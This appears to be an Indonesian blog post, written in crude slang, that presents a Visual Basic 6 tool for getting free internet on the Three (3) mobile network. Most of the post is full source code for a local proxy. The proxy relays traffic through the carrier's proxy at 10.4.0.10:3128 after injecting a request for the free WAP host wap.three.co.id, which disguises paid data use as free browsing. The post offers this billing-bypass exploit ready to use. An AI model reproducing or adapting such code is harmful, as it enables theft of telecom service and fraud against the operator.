Cara Ngenet Gratis

Cara ngenet gratis

Liburan tahun baru nggak kemana-mana, mana dikasih tugas sama dosen lagi, cewek nggak punya, doit menipis nasib wes, bener-bener awak tai Rai Entot, hujan nggak reda-reda, tambah Imron mobat mabit, mendingan posting yang sante-sante aja, tapi aku tetep ORA POPO.

Kali ini saya mau berbagi artikel cara ngenet gratis pake kartu 3.
perhatikan aja dulu, nggak usah banyak tanya, mood lagi jelek, nggak bisa jawab jika ada yang masih bingung, tak kasih nama proyek encot

Cara - cara buat Encot

1. Buat projek standar exe
2. Buat 2 Winsock

winsock 1 kasih nama = sockLokal
index = 0

winsock 2 kasih nama = sockProxy
index = 0

3. Buat command Button 1 dan textbox 1

4. button ganti nama menjadi tombol
textbox ganti nama menjadi listenport

5. Tambahkan Timer

timer
eneble = False
index = 0
interval = 1000

Sekarang Masukkan Source Code nya Bro

Option Explicit
Dim dataLokal(255) As String
Dim dataInject As String
Dim i, cek As Integer
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As
String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
dataInject = "GET http://wap.three.co.id/ HTTP/1.1" & vbCrLf & "Host: wap.three.co.id" & vbCrLf & vbCrLf
End Sub
Private Sub sockLokal_ConnectionRequest(Index As Integer, ByVal requestID As Long)
i = i + 1
Load sockLokal(i)
Load sockProxy(i)
Load Timer1(i)
sockLokal(i).Close
sockLokal(i).Accept requestID
End Sub
Private Sub sockLokal_DataArrival(Index As Integer, ByVal bytesTotal As Long)
sockLokal(Index).GetData dataLokal(Index)
If InStr(dataLokal(Index), "GET ") > 0 Then
sockLokal(Index).Close
Exit Sub
End If
If sockProxy(Index).State = 0 Then
sockProxy(Index).RemoteHost = "10.4.0.10"
sockProxy(Index).RemotePort = 3128
sockProxy(Index).Connect
End If
If sockProxy(Index).State = 7 Then
sockProxy(Index).SendData dataLokal(Index)
End If
End Sub
Private Sub sockProxy_Connect(Index As Integer)
sockProxy(Index).SendData dataInject
cek = 0
Timer1(Index).Enabled = True
End Sub
Private Sub Timer1_Timer(Index As Integer)
If cek = 0 Then
If sockProxy(Index).State = 7 Then
Dim ubah As String
ubah = Replace(dataLokal(Index), vbCrLf, vbCr)
sockProxy(Index).SendData ubah
End If
End If
Timer1(Index).Enabled = False
End Sub
Private Sub sockProxy_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim dataProxy As String
sockProxy(Index).GetData dataProxy
If cek = 1 Then
If sockLokal(Index).State = 7 Then
sockLokal(Index).SendData dataProxy
End If
Else
cek = 1
End If
End Sub
Private Sub sockProxy_Close(Index As Integer)
sockProxy(Index).Close
sockLokal(Index).Close
End Sub
Private Sub tombol_Click()
Dim totalLokal As Integer
If tombol.Caption = "ON" Then
tombol.Caption = "OFF"
sockLokal(0).LocalPort = ListenPort.Text
sockLokal(0).Listen
Else
tombol.Caption = "ON"
For totalLokal = 0 To sockLokal.Count - 1
sockLokal(totalLokal).Close
Next totalLokal
End If
End Sub

Kui wae desek, jek Stres Berat rat..rat..rat..!!!!!!